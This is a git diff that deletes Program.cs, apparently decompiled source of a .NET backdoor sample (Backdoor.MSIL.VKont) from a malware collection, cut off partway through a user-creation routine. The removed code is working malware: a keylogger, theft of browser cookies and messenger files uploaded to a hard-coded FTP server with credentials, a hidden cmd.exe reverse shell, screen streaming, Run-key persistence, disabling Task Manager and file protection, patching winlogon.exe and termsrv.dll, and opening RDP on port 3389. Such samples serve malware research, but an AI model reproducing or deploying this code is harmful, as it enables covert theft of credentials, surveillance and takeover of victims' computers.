a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs deleted file mode 100644 index bc2e7f89..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f/Program.cs +++ /dev/null @@ -1,1112 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: 1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 03D1C1E9-0DD7-4E4C-83B9-CB0ED7E5AEDF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f.exe - -using Microsoft.Win32; -using System; -using System.Collections; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.Drawing.Imaging; -using System.IO; -using System.IO.Compression; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - private static int hwnd_n; - private static int hwnd_s; - private static string DiskWindows; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - [DllImport("user32.dll")] - private static extern int GetForegroundWindow(); - - [DllImport("user32")] - private static extern uint GetWindowThreadProcessId(int hWnd, out int lpdwProcessId); - - [DllImport("user32.dll")] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll")] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("gdi32.dll")] - public static extern ulong BitBlt( - IntPtr hDestDC, - int x, - int y, - int nWidth, - int nHeight, - IntPtr hSrcDC, - int xSrc, - int ySrc, - int dwRop); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - try - { - foreach (DirectoryInfo directory in new DirectoryInfo(disk).GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static int GetWindowProcessID(int hwnd) - { - int lpdwProcessId = 0; - int windowThreadProcessId = (int) Program.GetWindowThreadProcessId(hwnd, out lpdwProcessId); - return lpdwProcessId; - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.hwnd_n = Program.GetForegroundWindow(); - if (Program.hwnd_n != Program.hwnd_s) - Program.logkey = Program.logkey + "\n[" + Process.GetProcessById(Program.GetWindowProcessID(Program.hwnd_n)).MainWindowTitle + "]titlewindows[gentroj]\n"; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + ""; - if (Program.sdosta == 0) - { - Program.sdosta = 0; - Program.TimeNow(); - if (Program.keycount > 10) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - Program.hwnd_s = Program.hwnd_n; - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "0", 0, "0", "0", "0", false); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "a01.dc47.com", "kuznetsov", "asdfgqwert", pftp); - return true; - } - - private static string C_OFF(byte[] encryptedTextBytes) - { - SymmetricAlgorithm symmetricAlgorithm = (SymmetricAlgorithm) DES.Create(); - MemoryStream memoryStream = new MemoryStream(encryptedTextBytes); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(Program.Ret_Key(), Program.Ret_IV()), CryptoStreamMode.Read); - byte[] numArray = new byte[encryptedTextBytes.Length]; - cryptoStream.Read(numArray, 0, encryptedTextBytes.Length); - cryptoStream.Close(); - memoryStream.Close(); - return new UnicodeEncoding().GetString(numArray); - } - - private static byte[] OUTS(string S) - { - int length = 0; - for (int index = 0; index < S.Length; ++index) - { - if (S[index] == '&') - ++length; - } - byte[] numArray = new byte[length]; - for (int index = 0; index < numArray.Length; ++index) - { - int startIndex = S.IndexOf("&"); - if (startIndex != -1) - { - numArray[index] = Convert.ToByte(S.Remove(startIndex)); - S = S.Substring(startIndex + 1); - } - else - break; - } - return numArray; - } - - private static byte[] Ret_Key() => new byte[8]; - - private static byte[] Ret_IV() => new byte[8]; - - private static string DelF(string tmp) - { - for (int index = 0; index < tmp.Length; ++index) - { - if (tmp[index] == char.MinValue) - { - tmp = tmp.Remove(index); - break; - } - } - return tmp; - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static string GetDiskWindows() - { - string systemDirectory = Environment.SystemDirectory; - return systemDirectory.Remove(systemDirectory.IndexOf("\\") + 1); - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void IECookies(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists(Environment.GetEnvironmentVariable("TEMP") + "\\")) - System.IO.File.Delete(Environment.GetEnvironmentVariable("TEMP") + "\\"); - try - { - string searchPattern = "*.txt"; - DirectoryInfo directoryInfo = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Cookies)); - try - { - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - Program.CherezShto(Environment.GetEnvironmentVariable("TEMP") + "\\", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - try - { - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "cmd.exe", - Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", - WindowStyle = ProcessWindowStyle.Hidden - }); - string str1 = "C:\\Windows\\1.exe"; - string str2 = Environment.GetEnvironmentVariable(str1.Substring(1, str1.IndexOf('%', 1) - 1)) + str1.Substring(str1.IndexOf('%', 1) + 1); - try - { - if (!System.IO.File.Exists(str2)) - System.IO.File.Copy(Application.ExecutablePath, str2); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath); - registryKey.SetValue(str2, (object) str2); - } - catch - { - } - new Thread((ThreadStart) (() => - { - Program.DiskWindows = Program.GetDiskWindows(); - Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", ""); - Program.IECookies("False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", ""); - })).Start(); - } - catch - { - Process.Start(new ProcessStartInfo() - { - FileName = "cmd.exe", - Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", - WindowStyle = ProcessWindowStyle.Hidden - }); - string str3 = "C:\\Windows\\1.exe"; - string str4 = Environment.GetEnvironmentVariable(str3.Substring(1, str3.IndexOf('%', 1) - 1)) + str3.Substring(str3.IndexOf('%', 1) + 1); - try - { - if (!System.IO.File.Exists(str4)) - System.IO.File.Copy(Application.ExecutablePath, str4); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath); - registryKey.SetValue(str4, (object) str4); - } - catch - { - } - new Thread((ThreadStart) (() => - { - Program.DiskWindows = Program.GetDiskWindows(); - Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", ""); - Program.IECookies("False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", ""); - Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", ""); - })).Start(); - } - } - catch - { - } - } - - private static void MainView() - { - try - { - TcpClient tcpClient = new TcpClient(); - Program.ScreenShotDll screenShotDll = new Program.ScreenShotDll(); - tcpClient.Connect("0", Convert.ToInt32("0")); - NetworkStream stream = tcpClient.GetStream(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) stream); - BinaryReader binaryReader = new BinaryReader((Stream) stream); - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); - Image image1 = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0); - Image image2 = image1; - byte[] buffer1 = Program.ImageToByte(image1); - if (binaryReader.ReadBoolean()) - { - binaryWriter.Write(buffer1.Length); - if (binaryReader.ReadBoolean()) - binaryWriter.Write(buffer1); - } - while (true) - { - Thread.Sleep(Convert.ToInt32("0")); - Application.DoEvents(); - byte[] numArray1 = Program.Bytetorgb((Bitmap) image1); - Image bmp = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0); - byte[] numArray2 = Program.Bytetorgb((Bitmap) bmp); - if (cryptoServiceProvider.ComputeHash(numArray1)[0].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[0].ToString() && cryptoServiceProvider.ComputeHash(numArray1)[1].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[1].ToString()) - { - image2 = (Image) Program.SearchByte(Program.clearPic((Bitmap) image2), numArray1, numArray2); - byte[] raw = Program.ImageToByte(image2); - byte[] numArray3 = Program.Compress(raw); - bool flag; - byte[] buffer2; - if (raw.Length > numArray3.Length) - { - Console.Write("#"); - flag = true; - buffer2 = numArray3; - } - else - { - flag = false; - buffer2 = raw; - } - if (binaryReader.ReadBoolean()) - { - binaryWriter.Write(buffer2.Length); - if (binaryReader.ReadBoolean()) - binaryWriter.Write(buffer2); - binaryWriter.Write(flag); - } - Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "|" + DateTime.Now.Second.ToString() + " Kb : " + buffer2.Length.ToString()); - image1 = bmp; - } - else - Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "/" + DateTime.Now.Second.ToString() + " KB : 0"); - } - } - catch - { - } - } - - private static byte[] Compress(byte[] raw) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true)) - gzipStream.Write(raw, 0, raw.Length); - return memoryStream.ToArray(); - } - } - - private static Image Resize(Image img, double percentage) - { - int width1 = img.Width; - int height1 = img.Height; - int width2 = (int) ((double) width1 / percentage); - int height2 = (int) ((double) height1 / percentage); - Bitmap bitmap = new Bitmap(width2, height2); - Graphics graphics = Graphics.FromImage((Image) bitmap); - graphics.InterpolationMode = InterpolationMode.Low; - graphics.DrawImage(img, 0, 0, width2, height2); - graphics.Dispose(); - return (Image) bitmap; - } - - private static byte[] ImageToByte(Image imageIn) - { - MemoryStream memoryStream = new MemoryStream(); - imageIn.Save((Stream) memoryStream, ImageFormat.Png); - return memoryStream.ToArray(); - } - - private static byte[] Bytetorgb(Bitmap bmp) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] destination = new byte[length]; - Marshal.Copy(scan0, destination, 0, length); - bmp.UnlockBits(bitmapdata); - return destination; - } - - private static Bitmap SearchByte(Bitmap bmp, byte[] mas1, byte[] mas2) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] numArray = new byte[length]; - Marshal.Copy(scan0, numArray, 0, length); - for (int index = 0; index < numArray.Length; ++index) - { - if ((int) mas1[index] != (int) mas2[index]) - numArray[index] = mas2[index]; - } - Marshal.Copy(numArray, 0, scan0, length); - bmp.UnlockBits(bitmapdata); - return bmp; - } - - private static Bitmap clearPic(Bitmap bmp) - { - Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat); - IntPtr scan0 = bitmapdata.Scan0; - int length = bitmapdata.Stride * bmp.Height; - byte[] numArray = new byte[length]; - Marshal.Copy(scan0, numArray, 0, length); - for (int index = 0; index < numArray.Length; ++index) - numArray[index] = (byte) 53; - Marshal.Copy(numArray, 0, scan0, length); - bmp.UnlockBits(bitmapdata); - return bmp; - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("0", 0); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - private static void CacheDelete(string dir) - { - try - { - if (!Directory.Exists(dir)) - return; - for (int index = 0; index < Directory.GetFiles(dir).Length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(dir)[index]); - } - catch - { - } - } - for (int index = 0; index < Directory.GetDirectories(dir).Length; ++index) - { - try - { - Directory.Delete(Directory.GetDirectories(dir)[index]); - } - catch - { - } - } - } - catch - { - } - } - - public static void FileP() - { - try - { - Program.CacheDelete(Environment.SystemDirectory + "\\Dllcache"); - Program.CacheDelete(Environment.SystemDirectory + "\\CatRoot"); - } - catch - { - } - } - - public static void RegConfig() - { - try - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true).SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true).SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey.SetValue("Link", (object) "Local", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey.SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord); - registryKey.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - } - catch - { - } - try - { - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - catch - { - } - } - - public static void RDP_M() => Program.TimeNow(); - - public static void w_Change() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.123"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.123", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.lol"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.lol", Environment.SystemDirectory + "\\winlogon.exe"); - Thread.Sleep(2000); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - Thread.Sleep(2000); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - DirectoryEntry directoryEntry3 = (DirectoryEntry) null; - foreach (DirectoryEntry child in directoryEntry1.Children) - { - try - { - directoryEntry3 = directoryEntry1.Children.Find(child.Name, "group"); - directoryEntry3.Invoke("Add", (object) 